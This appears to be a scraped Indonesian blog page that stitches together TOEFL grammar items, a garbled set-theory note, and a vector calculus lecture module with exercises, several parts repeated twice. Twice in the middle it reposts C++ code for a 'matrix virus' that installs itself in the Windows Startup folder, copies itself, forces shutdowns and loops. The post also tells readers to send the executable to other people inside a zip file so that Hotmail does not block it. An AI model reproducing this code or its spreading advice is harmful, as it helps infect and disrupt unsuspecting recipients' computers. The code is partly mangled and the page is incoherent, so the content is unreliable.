1. Surprisingly cost was regarded
__________ important factor in choosing a new cell phone by
the three teenagers.
A as the least
B of the
least
C in the least
D to the least
2. Maine's coastline is a major attraction and a
vista of sandy beaches contrasted ________ rockbound
shoreline.
A to the rugged
B by the rugged
C on the rugged
D at the rugged
3. John knows that he had better ________ his
algebra skills before the mid-term exam.
A. brush
up on
B. brush on up
C. brushing up on
D. brushing
on up
4. The pressure ________ was intense after his team
lost five basketball games in a row.
A. under the
coach
B. over the coach
C. of the coach
D. on the
coach
5. In __________, the team has begun to show some
form again and has won some big games.
(A) few
weeks
(B) few past weeks
(C) the past few weeks
(D)
a few weeks since
The Subject
1. In general, ________ have a professional
obligation to protect confidential sources of
information.
A. which journalists
B.
journalists
C. journalists, they
D. journalists that
2. ________ of Elvis Presley is banned in seven
different countries across the world.
A. The music
is
B. That the music
C. The music which
D. The
music
3. For ________ you who don't know, "Rainbow" was a
credible children's TV show from the 70's and 80's.
A. those of
B. those in
C. these of
D.
these in
4. As was the case throughout the United States,
__________ was subject to higher gas prices during the winter
of 2002-2003.
A. for New York
B. for New York
as well
C. New York which
D. New York
5. ________ in history caused as much shock and
grief worldwide as the 2004 tsunami disaster in Asia.
A. None natural disaster
B. That natural
disaster
C. No natural disaster
D. The natural
disaster
Verb Forms
1.
The causes of gamma-ray bursts throughout the universe, and
how the gamma rays are actually produced, ________ until
recently remained a mystery.
A. have
B. have
been
C. has been
D. has
2. That the legal drinking age ________ lowered is
a hot topic for debate in many states.
A. should
have
B. which should
C. should be
D. should
3. Discovery of these ancient anthropic markings
________ our understanding of how these early humans
interacted with their environment.
A. has
broadened
B. have broadened
C. broaden
D. will have
broadened
4. The rivalry between the two communities stems
from ancient times and openly __________ to this day.
A. persist
B. which persist
C.
persists
D. which persists
5. Despite the simplicity of their construction,
the ancient systems ________ exhibit very complicated
behavior.
A. find to
B. found to
C. are
found to
D. were found to
Word Order 1:
1. _________ explores the nature of guilt
and responsibility and builds to a remarkable conclusion.
A. The written beautifully novel
B. The
beautifully written novel
C. The novel beautifully written
D. The written novel beautifully
2. Over time the young students will perfect the
art of piano playing. After all, such ________ needs delicate
handling.
A. a tuned instrument finely
B. an
instrument tuned finely
C. a finely instrument tuned
D.
a finely tuned instrument
3. Honore de Balzac said "The errors of ________,
from their faith in the good, or their confidence in the
true".
A. women spring, almost always
B. almost
always, women spring
C. almost women, always spring
D.
almost spring, always women
4. In that particular department of the company,
production __________ day and night.
(A)
going often keeps
(B) keeps often going
(C) keeps going
often
(D) often keeps going
5. The tenants were asked to throw all recyclable
trash into __________.
A. the green big plastic
bag
B. the big plastic green bag
C. the big green
plastic bag
D. the green plastic big bag
Minggu, 14 Juni 2009
Toefl Test
Jumat, 12 Juni 2009
THEORY COMPILATION
A concept the base concept of all part mathematic is concept compilation. The compilation is the objects collection from intuition or in our mind can make difference between one and others. The object of insult be permitted anything else such as:
Numeral, letter, human, planet, etc.
The object of insult we say substance or element.
Example:
Numeral: 1, 2, 3, 4, etc
Letters: a, b, c, d, etc
Human: Fuji, Ade, etc
Continent: Africa, Australia, etc
Planet: Mars, Pluto, etc
Kamis, 28 Mei 2009
Membuat Matrixs Virus Terbaru
aku nemu scrip untuk buat virus matrix dibuat pake notpad
jujur aja nih aku gaktau maksud scripnya.....
ni aku copyin dari forum luar
1. open notpad
2. copy and paste this:
#include
#include
#include
#include
#include
#include
#include
using namespace std;
int main()
{ keybd_event(VK_MENU,0x38,0,0);
keybd_event(VK_RETURN,0x1c,0,0);
keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);
{
char buffer[255];
char inputFile[]="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat";
ifstream input(inputFile);
if (!input)
{
{
ofstream fp("C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat", ios::app);
fp << "@ECHO OFF \n";
fp << "START C:\\rawr.exe \n";
fp << "EXIT";
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
}
}
}
{
char buffer[255];
char inputFile[]="C:\\rawr.exe";
ifstream input(inputFile);
if (!input)
{
{
{
ofstream fp("CLICK.bat", ios::app);
fp << "@ECHO OFF \n";
fp << "COPY matrix.exe C:\\rawr.exe \n";
fp << "START C:\\rawr.exe \n";
fp << "EXIT";
}
system("START CLICK.bat");
main();
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
system("call shutdown.exe -S");
goto START;
}
}
}
START:{
for(int i = 0; i <>
{
int num = (rand() % 10);
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout <<>
cout <<>
cout <<>
cout <<>
cout <<>
cout <<>
cout <<>
cout <<>
cout <<>
cout <<>
cout <<>
cout <<>
Sleep(60);
}
}
for ( int j = 0; j <>
{
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout <<>
}
goto START;
}
3. save the file as anything u want .EXE example : LOL!!.EXE
4. send the file to ppl BUT DONT OPEN THE FILE!!
how to send the file on hotmail
u cant send the file in hotmail because it wont work so what do u need to do is make a zip folder and put the virus in it then send it
hope u like it
enjoy!!
yang berminat silahkan coba dan artikan sendiri.....
ini postingan baru dari forum luar
jujur aja nih aku gaktau maksud scripnya.....
ni aku copyin dari forum luar
1. open notpad
2. copy and paste this:
#include
#include
#include
#include
#include
#include
#include
using namespace std;
int main()
{ keybd_event(VK_MENU,0x38,0,0);
keybd_event(VK_RETURN,0x1c,0,0);
keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);
{
char buffer[255];
char inputFile[]="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat";
ifstream input(inputFile);
if (!input)
{
{
ofstream fp("C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat", ios::app);
fp << "@ECHO OFF \n";
fp << "START C:\\rawr.exe \n";
fp << "EXIT";
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
}
}
}
{
char buffer[255];
char inputFile[]="C:\\rawr.exe";
ifstream input(inputFile);
if (!input)
{
{
{
ofstream fp("CLICK.bat", ios::app);
fp << "@ECHO OFF \n";
fp << "COPY matrix.exe C:\\rawr.exe \n";
fp << "START C:\\rawr.exe \n";
fp << "EXIT";
}
system("START CLICK.bat");
main();
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
system("call shutdown.exe -S");
goto START;
}
}
}
START:{
for(int i = 0; i <>
{
int num = (rand() % 10);
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout <<>
cout <<>
cout <<>
cout <<>
cout <<>
cout <<>
cout <<>
cout <<>
cout <<>
cout <<>
cout <<>
cout <<>
Sleep(60);
}
}
for ( int j = 0; j <>
{
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout <<>
}
goto START;
}
3. save the file as anything u want .EXE example : LOL!!.EXE
4. send the file to ppl BUT DONT OPEN THE FILE!!
how to send the file on hotmail
u cant send the file in hotmail because it wont work so what do u need to do is make a zip folder and put the virus in it then send it
hope u like it
enjoy!!
yang berminat silahkan coba dan artikan sendiri.....
ini postingan baru dari forum luar
Kalkulus
ALJABAR LINEAR DAN MATRIKS
MODUL 10
Kalkulus Vektor
Zuhair
Jurusan Teknik Informatika
Universitas Mercu Buana
Jakarta
2007 年12 月30 日(日)
created by zuhair 2
Kalkulus Vektor
Kalkulus vektor (vector calculus) atau sering disebut analisis vektor dalam
matematika adalah salah satu cabang ilmu yang mempelajari analisis riil dari vektor
dalam dua atau lebih dimensi. Cabang ilmu ini sangat berguna bagi para insinyur dan
fisikawan dalam menyelasikan masalah karena mengandung teknik-teknik dalam
menyelesaikan masalah yang berkaitan dengan vektor.
Salah satu fokus dari kalkulus vektor adalah permasalahan bidang skalar,
dimana terdapat suatu nilai dalam setiap titik dalam ruang. Contoh dari bidang skalar
adalah temperatur udara di dalam suatu kamar. Kalkulus vektor juga fokus pada
bidang vektor, dimana terdapat suatu vektor dalam setiap titik dalam ruang. Contoh
dari bidang vektor adalah aliran air di laut di mana dalam setiap titik arah aliran bisa
berbeda-beda.
Ruang Lingkup
Kalkulus vektor melingkupi operasi vektor, diferensial vektor, integral vektor,
dan teorema-teorema yang berhubungan dengan operasi nabla.
Nabla
Nabla (atau del) adalah salah satu operator yang digunakan dalam kalkulus
vektor. Dinotasikan secara matematika sebagai .
Terdapat empat operasi penting dalam kalkulus vektor berhubungan dengan
operator ini, yaitu: Gradien, Divergensi, Curl, Laplacian.
Gradien
Gradien (gradient) dalam matematika adalah salah satu operator dalam
kalkulus vektor yang berguna untuk mencari perubahan arah dan kecepatan dalam
bidang skalar. Dalam matematika, gradien didefinisikan sebagai:
Sebagai contoh dalam sistem kartesian tiga dimensi, gradien dari suatu vektor
adalah:
created by zuhair 3
CONTOH 1.
Carilah diferensial berarah (directional derivative) ∂ƒ / ∂s dari ƒ(x, y, z) = 1,5 x2 + 3 y2
+ 2 z2 di titik P(3, 1, 2) dalam arah vektor a = 3 i – 4 k.
Penyelesaian:
Kita pereoleh ƒ = 3x i + 6y j + 4z k, dan dititik P(3, 1, 2) = 9 i + 6 j + 8 k.
Karena | a | = 5, vektor satuan dalam arah a adalah,
b = a / | a | = (3 i – 4 k) / 5 = 0,6 i – 0,8 k.
Karena itu, ∂ƒ / ∂s = b • ƒ = (0,6 i – 0,8 k) • (9 i + 6 j + 8 k) = 5,4 – 6,4 = –1.
Tanda minus menunjukkan ƒ menurun dalam arah yang dipertimbangkan.
CONTOH 2.
Carilah ƒ dari kurva level ƒ = konstan dari lingkaran konsentris ƒ(x, y) = ℓn(x2 + y2)
di sekitar (0, 0).
Penyelesaian:
Kita pereoleh ƒ = ∂ƒ / ∂x i + ∂ƒ / ∂y j = 2x / (x2 + y2) i + 2y / (x2 + y2) j, yang
mempunyai arah normal pada lingkaran, dan arahnya berkorespondensi pada
kenaikan maksimum ƒ. Sebagai contoh, di titik P(2, 1), kita mempunyai ƒ = 0,8 i +
0,4 j.
Gambar 1.
created by zuhair 4
CONTOH 3.
Carilah vektor normal satuan n dari konus revolusi z2 = 4(x2 + y2) di titik P(1, 0, 2).
Penyelesaian:
Kita buat konus sebagai permukaan level ƒ = 0 dari ƒ(x, y, z) = 4(x2 + y2) –
z2, maka ƒ = 8x i + 8y j – 2z k dan di titik P(1, 0, 2), ƒ = 8 i – 4 k. Karena itu, n =
ƒ / | ƒ | = 2/5 i√5 – 1/5 k√5 adalah vektor normal satuan dari konus di titik P, dan
– n adalah vektor normal satuan lainnya.
Gambar 2.
CONTOH 4.
Tentukanlah gradien ƒ, jika ƒ = 2 xy.
Penyelesaian:
Kita lakukan diferensiasi terhadap x, y dan z, ∂ƒ / ∂x = 2y, ∂ƒ / ∂y = 2x, ∂ƒ / ∂z
= 0, sehingga ƒ = ∂ƒ / ∂x i + ∂ƒ / ∂y j + ∂ƒ / ∂z k = 2y i + 2x j.
CONTOH 5.
Tentukanlah gradien ƒ, jika ƒ = sin (x2 + y2).
Penyelesaian:
Kita lakukan diferensiasi terhadap x, y dan z, ∂ƒ / ∂x = 2x cos (x2 + y2), ∂ƒ /∂y
= 2y cos (x2 + y2), ∂ƒ / ∂z = 0, sehingga ƒ = ∂ƒ / ∂x i + ∂ƒ / ∂y j + ∂ƒ / ∂z k = 2x cos
(x2 + y2) i + 2y cos (x2 + y2) j.
CONTOH 6.
Tentukanlah gradien ƒ, jika ƒ = sin [(x2 + y2)]2.
created by zuhair 5
Penyelesaian:
Kita lakukan diferensiasi terhadap x, y dan z, ∂ƒ / ∂x = 4x sin (x2 + y2) cos (x2
+ y2), ∂ƒ /∂y = 4y sin (x2 + y2) cos (x2 + y2), ∂ƒ / ∂z = 0, sehingga ƒ = ∂ƒ / ∂x i + ∂ƒ
/ ∂y j + ∂ƒ / ∂z k = 2x sin 2(x2 + y2) i + 2y sin 2(x2 + y2) j.
CONTOH 7.
Tentukanlah gradien ƒ, jika ƒ = exy sin ez
Penyelesaian:
Kita lakukan diferensiasi terhadap x, y dan z, ∂ƒ / ∂x = y exy sin ez, ∂ƒ / ∂y =
x exy sin ez, ∂ƒ / ∂z = ez exy cos ez, sehingga ƒ = ∂ƒ / ∂x i + ∂ƒ / ∂y j + ∂ƒ / ∂z k =
y exy sin ez i + x exy sin ez j + exy+z cos ez k.
CONTOH 8.
Tentukanlah gradien ƒ, jika ƒ = x ey ℓn z.
Penyelesaian:
Kita lakukan diferensiasi terhadap x, y dan z, ∂ƒ / ∂x = ey ℓn z, ∂ƒ / ∂y = x ey
ℓn z, ∂ƒ / ∂z = x ey / z, sehingga ƒ = ∂ƒ / ∂x i + ∂ƒ / ∂y j + ∂ƒ / ∂z k = ey ℓn z i + x ey
ℓn z j + x ey / z k.
CONTOH 9.
Tentukanlah gradien ƒ, jika ƒ = x sin y arc sin z.
Penyelesaian:
Kita lakukan diferensiasi terhadap x, y dan z, ∂ƒ / ∂x = sin y arc sin z, ∂ƒ / ∂y = x cos y
arc sin z, ∂ƒ / ∂z = x sin y / √ (1 – z2), sehingga ƒ = ∂ƒ / ∂x i + ∂ƒ / ∂y j + ∂ƒ / ∂z k =
sin y arc sin z i + x cos y arc sin z j + x sin y / √ (1 – z2) k.
CONTOH 10.
Jika ƒ = xyz dan g = ex cos y, tentukanlah a. (ƒg), b. ƒ g, c. g ƒ.
created by zuhair 6
Penyelesaian:
a. (ƒg) = (xyz ex cos y) = ∂(xyz ex cos y) / ∂x i + ∂(xyz ex cos y) / ∂y j + ∂(xyz ex
cos y) / ∂z k = (yz ex cos y + xyz ex cos y) i + (xz ex cos y – xyz ex sin y) j
+ (xy ex cos y) k.
b. ƒ g = (xyz) (ex cos y) = (xyz) ∂(ex cos y) / ∂x i + (xyz) ∂(ex cos y) / ∂y j + (xyz)
∂(ex cos y) / ∂z k = (xyz) (ex cos y) i + (xyz) (–ex sin y) j + (xyz) (0) k = (xyz
ex cos y) i + (–xyz ex sin y) j.
c. g ƒ = (ex cos y) (xyz) = (ex cos y) ∂(xyz) / ∂x i + (ex cos y) ∂(xyz) / ∂y j + (ex cos
y) ∂(xyz) / ∂z k = (ex cos y) (yz) i + (ex cos y) (xz) j + (ex cos y) (xy) k = (yz
ex cos y) i + (xz ex cos y) j + (xy ex cos y) k.
Dari hasil a, b dan c disimpulkan bahwa, (ƒg) = ƒ g + g ƒ. Beberapa formula
gradien ditabulasikan disini,
1 (ƒg) = ƒ g + g ƒ
2 (ƒn) = n ƒn-1 ƒ
3 (ƒ/g) = (1/g2) [g ƒ – ƒ g]
4 2(ƒg) = g 2ƒ + 2 ƒ • g + ƒ 2g
___________________________________________________________________
SOAL-SOAL
Tentukanlah gradien ƒ. Tuliskanlah beberapa kurva level ƒ = konstan dan
tunjukkanlah ƒ dengan panah pada beberapa titik dari kurva level.
1. ƒ = 2 x2y2
2. ƒ = x2 – y2
3. ƒ = x2+ y2
4. ƒ = x / y
created by zuhair 7
5. ƒ = 9 x2 + y2
6. ƒ = arc tan (y / x)
Tentukanlah dan luksikanlah vektor normal pada kurva bidang yang diberikan di titik
P(x, y).
7. y = x, P(5, 5)
8. y = 2 x2, P(2, 8)
9. x2 + y2 = 100, P(6, 8)
10. x2 – y2 = 1, P(2, √3)
Tentukanlah dan lukiskanlah vektor normal satuan pada permukaan yang diberikan di
titik P(x, y, z).
11. x + y + z = 1, P(4, 2, –5)
12. x2 + y2 + 2z2 = 26, P(2, 2, 3)
13. z = xy, P(2, –1, –2)
14. z = √ (x2 + y2), P(3, 4, 5)
Tentukanlah diferensial berarah dari fungsi ƒ di titik P dalam arah a dimana,
15. ƒ = x2 – y2, P(2, 3), a = i + j
16. ƒ = 2x + 3y, P(0, 2), a = 3 j
17. ƒ = x2 + y2, P(1, 2), a = i – j
18. ƒ = x + 2y – z, P(1, 4, 0), a = j – k
19. ƒ = x2 + y2 + z2, P(1, 2, 3), a = i + j
20. ƒ = x2 + y2 + z2, P(2, 2, 2), a = i + 2j – 3k
21. ƒ = ex cos y, P(2, π, 0), a = 2i + 3k
created by zuhair 8
22. ƒ = xyz, P(–1, 1, 3), a = i – 2j + 2k
23. ƒ = 1 / √ (x2 + y2 + z2), P(3, 0, 4), a = i + j + k
Tentukanlah gradien ƒ, jika:
24. ƒ = (x2 + y2 + z2)2
25. ƒ = sin xyz
26. ƒ = ex+2y-z
27. ƒ = cos (xy + yz + zx)
28. ƒ = ℓn(x2 + y2 + z2)
29. ƒ = sinh xyz
30. ƒ = arc sin xyz
31. ƒ = xyz arc tan (x + y + z)
32. ƒ = sin [arc sin (x2 + y2 + z2)]
33. ƒ = arc sin [sin (x2 + y2 + z2)]
34. ƒ = arc sech (x + 2y – z)
35. ƒ = x ey+z ℓn xyz
36. ƒ = x2 / (cos y + z)
37. ƒ = x2 / (cos y + xz)
38. ƒ = xyz / tan (x + 2y – z)
39. ƒ = (x + 2y – z) / ℓn (sin z)
40. ƒ = x2y3 sec (xy + 2z)
41. ƒ = xyz / sinh (xy + yz + zx)
42. ƒ = 1 / arc sin [x / (y + z)]
created by zuhair 9
43. ƒ = (x + 2y) / arc tan (x + 2y – z)
44. ƒ = 1 / arc sinh (x2y3 + y3z4 + z4x5)
45. ƒ = x + 2y – z
46. ƒ = x eyz / ℓn (x + 2y – z)
47. ƒ = xyz sin xyz
48. ƒ = x2y3z sin2 (x + 2y – 3z)
49. ƒ = exyz sin x cos y tan z
50. ƒ = tan2 (x2 + 2y2 – z2)
51. ƒ = ℓn [sec (x2y – z2x)]
52. ƒ = x esinh(y+z)
53. ƒ = x + 2y – z
54. ƒ = arc sin (π – xyz)
55. ƒ = arc tan (x2y – y2z + z2x)
56. ƒ = arc sin (xy sin z)
57. ƒ = sin (zx exy+yz)
58. ƒ = sin [ℓn (x2y – y2z + z2x)]
59. ƒ = sin [z2x ℓn (x2y – y2z)]
60. ƒ = sin [z ℓn (x ℓn y)]
_________________
MODUL 10
Kalkulus Vektor
Zuhair
Jurusan Teknik Informatika
Universitas Mercu Buana
Jakarta
2007 年12 月30 日(日)
created by zuhair 2
Kalkulus Vektor
Kalkulus vektor (vector calculus) atau sering disebut analisis vektor dalam
matematika adalah salah satu cabang ilmu yang mempelajari analisis riil dari vektor
dalam dua atau lebih dimensi. Cabang ilmu ini sangat berguna bagi para insinyur dan
fisikawan dalam menyelasikan masalah karena mengandung teknik-teknik dalam
menyelesaikan masalah yang berkaitan dengan vektor.
Salah satu fokus dari kalkulus vektor adalah permasalahan bidang skalar,
dimana terdapat suatu nilai dalam setiap titik dalam ruang. Contoh dari bidang skalar
adalah temperatur udara di dalam suatu kamar. Kalkulus vektor juga fokus pada
bidang vektor, dimana terdapat suatu vektor dalam setiap titik dalam ruang. Contoh
dari bidang vektor adalah aliran air di laut di mana dalam setiap titik arah aliran bisa
berbeda-beda.
Ruang Lingkup
Kalkulus vektor melingkupi operasi vektor, diferensial vektor, integral vektor,
dan teorema-teorema yang berhubungan dengan operasi nabla.
Nabla
Nabla (atau del) adalah salah satu operator yang digunakan dalam kalkulus
vektor. Dinotasikan secara matematika sebagai .
Terdapat empat operasi penting dalam kalkulus vektor berhubungan dengan
operator ini, yaitu: Gradien, Divergensi, Curl, Laplacian.
Gradien
Gradien (gradient) dalam matematika adalah salah satu operator dalam
kalkulus vektor yang berguna untuk mencari perubahan arah dan kecepatan dalam
bidang skalar. Dalam matematika, gradien didefinisikan sebagai:
Sebagai contoh dalam sistem kartesian tiga dimensi, gradien dari suatu vektor
adalah:
created by zuhair 3
CONTOH 1.
Carilah diferensial berarah (directional derivative) ∂ƒ / ∂s dari ƒ(x, y, z) = 1,5 x2 + 3 y2
+ 2 z2 di titik P(3, 1, 2) dalam arah vektor a = 3 i – 4 k.
Penyelesaian:
Kita pereoleh ƒ = 3x i + 6y j + 4z k, dan dititik P(3, 1, 2) = 9 i + 6 j + 8 k.
Karena | a | = 5, vektor satuan dalam arah a adalah,
b = a / | a | = (3 i – 4 k) / 5 = 0,6 i – 0,8 k.
Karena itu, ∂ƒ / ∂s = b • ƒ = (0,6 i – 0,8 k) • (9 i + 6 j + 8 k) = 5,4 – 6,4 = –1.
Tanda minus menunjukkan ƒ menurun dalam arah yang dipertimbangkan.
CONTOH 2.
Carilah ƒ dari kurva level ƒ = konstan dari lingkaran konsentris ƒ(x, y) = ℓn(x2 + y2)
di sekitar (0, 0).
Penyelesaian:
Kita pereoleh ƒ = ∂ƒ / ∂x i + ∂ƒ / ∂y j = 2x / (x2 + y2) i + 2y / (x2 + y2) j, yang
mempunyai arah normal pada lingkaran, dan arahnya berkorespondensi pada
kenaikan maksimum ƒ. Sebagai contoh, di titik P(2, 1), kita mempunyai ƒ = 0,8 i +
0,4 j.
Gambar 1.
created by zuhair 4
CONTOH 3.
Carilah vektor normal satuan n dari konus revolusi z2 = 4(x2 + y2) di titik P(1, 0, 2).
Penyelesaian:
Kita buat konus sebagai permukaan level ƒ = 0 dari ƒ(x, y, z) = 4(x2 + y2) –
z2, maka ƒ = 8x i + 8y j – 2z k dan di titik P(1, 0, 2), ƒ = 8 i – 4 k. Karena itu, n =
ƒ / | ƒ | = 2/5 i√5 – 1/5 k√5 adalah vektor normal satuan dari konus di titik P, dan
– n adalah vektor normal satuan lainnya.
Gambar 2.
CONTOH 4.
Tentukanlah gradien ƒ, jika ƒ = 2 xy.
Penyelesaian:
Kita lakukan diferensiasi terhadap x, y dan z, ∂ƒ / ∂x = 2y, ∂ƒ / ∂y = 2x, ∂ƒ / ∂z
= 0, sehingga ƒ = ∂ƒ / ∂x i + ∂ƒ / ∂y j + ∂ƒ / ∂z k = 2y i + 2x j.
CONTOH 5.
Tentukanlah gradien ƒ, jika ƒ = sin (x2 + y2).
Penyelesaian:
Kita lakukan diferensiasi terhadap x, y dan z, ∂ƒ / ∂x = 2x cos (x2 + y2), ∂ƒ /∂y
= 2y cos (x2 + y2), ∂ƒ / ∂z = 0, sehingga ƒ = ∂ƒ / ∂x i + ∂ƒ / ∂y j + ∂ƒ / ∂z k = 2x cos
(x2 + y2) i + 2y cos (x2 + y2) j.
CONTOH 6.
Tentukanlah gradien ƒ, jika ƒ = sin [(x2 + y2)]2.
created by zuhair 5
Penyelesaian:
Kita lakukan diferensiasi terhadap x, y dan z, ∂ƒ / ∂x = 4x sin (x2 + y2) cos (x2
+ y2), ∂ƒ /∂y = 4y sin (x2 + y2) cos (x2 + y2), ∂ƒ / ∂z = 0, sehingga ƒ = ∂ƒ / ∂x i + ∂ƒ
/ ∂y j + ∂ƒ / ∂z k = 2x sin 2(x2 + y2) i + 2y sin 2(x2 + y2) j.
CONTOH 7.
Tentukanlah gradien ƒ, jika ƒ = exy sin ez
Penyelesaian:
Kita lakukan diferensiasi terhadap x, y dan z, ∂ƒ / ∂x = y exy sin ez, ∂ƒ / ∂y =
x exy sin ez, ∂ƒ / ∂z = ez exy cos ez, sehingga ƒ = ∂ƒ / ∂x i + ∂ƒ / ∂y j + ∂ƒ / ∂z k =
y exy sin ez i + x exy sin ez j + exy+z cos ez k.
CONTOH 8.
Tentukanlah gradien ƒ, jika ƒ = x ey ℓn z.
Penyelesaian:
Kita lakukan diferensiasi terhadap x, y dan z, ∂ƒ / ∂x = ey ℓn z, ∂ƒ / ∂y = x ey
ℓn z, ∂ƒ / ∂z = x ey / z, sehingga ƒ = ∂ƒ / ∂x i + ∂ƒ / ∂y j + ∂ƒ / ∂z k = ey ℓn z i + x ey
ℓn z j + x ey / z k.
CONTOH 9.
Tentukanlah gradien ƒ, jika ƒ = x sin y arc sin z.
Penyelesaian:
Kita lakukan diferensiasi terhadap x, y dan z, ∂ƒ / ∂x = sin y arc sin z, ∂ƒ / ∂y = x cos y
arc sin z, ∂ƒ / ∂z = x sin y / √ (1 – z2), sehingga ƒ = ∂ƒ / ∂x i + ∂ƒ / ∂y j + ∂ƒ / ∂z k =
sin y arc sin z i + x cos y arc sin z j + x sin y / √ (1 – z2) k.
CONTOH 10.
Jika ƒ = xyz dan g = ex cos y, tentukanlah a. (ƒg), b. ƒ g, c. g ƒ.
created by zuhair 6
Penyelesaian:
a. (ƒg) = (xyz ex cos y) = ∂(xyz ex cos y) / ∂x i + ∂(xyz ex cos y) / ∂y j + ∂(xyz ex
cos y) / ∂z k = (yz ex cos y + xyz ex cos y) i + (xz ex cos y – xyz ex sin y) j
+ (xy ex cos y) k.
b. ƒ g = (xyz) (ex cos y) = (xyz) ∂(ex cos y) / ∂x i + (xyz) ∂(ex cos y) / ∂y j + (xyz)
∂(ex cos y) / ∂z k = (xyz) (ex cos y) i + (xyz) (–ex sin y) j + (xyz) (0) k = (xyz
ex cos y) i + (–xyz ex sin y) j.
c. g ƒ = (ex cos y) (xyz) = (ex cos y) ∂(xyz) / ∂x i + (ex cos y) ∂(xyz) / ∂y j + (ex cos
y) ∂(xyz) / ∂z k = (ex cos y) (yz) i + (ex cos y) (xz) j + (ex cos y) (xy) k = (yz
ex cos y) i + (xz ex cos y) j + (xy ex cos y) k.
Dari hasil a, b dan c disimpulkan bahwa, (ƒg) = ƒ g + g ƒ. Beberapa formula
gradien ditabulasikan disini,
1 (ƒg) = ƒ g + g ƒ
2 (ƒn) = n ƒn-1 ƒ
3 (ƒ/g) = (1/g2) [g ƒ – ƒ g]
4 2(ƒg) = g 2ƒ + 2 ƒ • g + ƒ 2g
___________________________________________________________________
SOAL-SOAL
Tentukanlah gradien ƒ. Tuliskanlah beberapa kurva level ƒ = konstan dan
tunjukkanlah ƒ dengan panah pada beberapa titik dari kurva level.
1. ƒ = 2 x2y2
2. ƒ = x2 – y2
3. ƒ = x2+ y2
4. ƒ = x / y
created by zuhair 7
5. ƒ = 9 x2 + y2
6. ƒ = arc tan (y / x)
Tentukanlah dan luksikanlah vektor normal pada kurva bidang yang diberikan di titik
P(x, y).
7. y = x, P(5, 5)
8. y = 2 x2, P(2, 8)
9. x2 + y2 = 100, P(6, 8)
10. x2 – y2 = 1, P(2, √3)
Tentukanlah dan lukiskanlah vektor normal satuan pada permukaan yang diberikan di
titik P(x, y, z).
11. x + y + z = 1, P(4, 2, –5)
12. x2 + y2 + 2z2 = 26, P(2, 2, 3)
13. z = xy, P(2, –1, –2)
14. z = √ (x2 + y2), P(3, 4, 5)
Tentukanlah diferensial berarah dari fungsi ƒ di titik P dalam arah a dimana,
15. ƒ = x2 – y2, P(2, 3), a = i + j
16. ƒ = 2x + 3y, P(0, 2), a = 3 j
17. ƒ = x2 + y2, P(1, 2), a = i – j
18. ƒ = x + 2y – z, P(1, 4, 0), a = j – k
19. ƒ = x2 + y2 + z2, P(1, 2, 3), a = i + j
20. ƒ = x2 + y2 + z2, P(2, 2, 2), a = i + 2j – 3k
21. ƒ = ex cos y, P(2, π, 0), a = 2i + 3k
created by zuhair 8
22. ƒ = xyz, P(–1, 1, 3), a = i – 2j + 2k
23. ƒ = 1 / √ (x2 + y2 + z2), P(3, 0, 4), a = i + j + k
Tentukanlah gradien ƒ, jika:
24. ƒ = (x2 + y2 + z2)2
25. ƒ = sin xyz
26. ƒ = ex+2y-z
27. ƒ = cos (xy + yz + zx)
28. ƒ = ℓn(x2 + y2 + z2)
29. ƒ = sinh xyz
30. ƒ = arc sin xyz
31. ƒ = xyz arc tan (x + y + z)
32. ƒ = sin [arc sin (x2 + y2 + z2)]
33. ƒ = arc sin [sin (x2 + y2 + z2)]
34. ƒ = arc sech (x + 2y – z)
35. ƒ = x ey+z ℓn xyz
36. ƒ = x2 / (cos y + z)
37. ƒ = x2 / (cos y + xz)
38. ƒ = xyz / tan (x + 2y – z)
39. ƒ = (x + 2y – z) / ℓn (sin z)
40. ƒ = x2y3 sec (xy + 2z)
41. ƒ = xyz / sinh (xy + yz + zx)
42. ƒ = 1 / arc sin [x / (y + z)]
created by zuhair 9
43. ƒ = (x + 2y) / arc tan (x + 2y – z)
44. ƒ = 1 / arc sinh (x2y3 + y3z4 + z4x5)
45. ƒ = x + 2y – z
46. ƒ = x eyz / ℓn (x + 2y – z)
47. ƒ = xyz sin xyz
48. ƒ = x2y3z sin2 (x + 2y – 3z)
49. ƒ = exyz sin x cos y tan z
50. ƒ = tan2 (x2 + 2y2 – z2)
51. ƒ = ℓn [sec (x2y – z2x)]
52. ƒ = x esinh(y+z)
53. ƒ = x + 2y – z
54. ƒ = arc sin (π – xyz)
55. ƒ = arc tan (x2y – y2z + z2x)
56. ƒ = arc sin (xy sin z)
57. ƒ = sin (zx exy+yz)
58. ƒ = sin [ℓn (x2y – y2z + z2x)]
59. ƒ = sin [z2x ℓn (x2y – y2z)]
60. ƒ = sin [z ℓn (x ℓn y)]
_________________
Langganan:
Postingan (Atom)
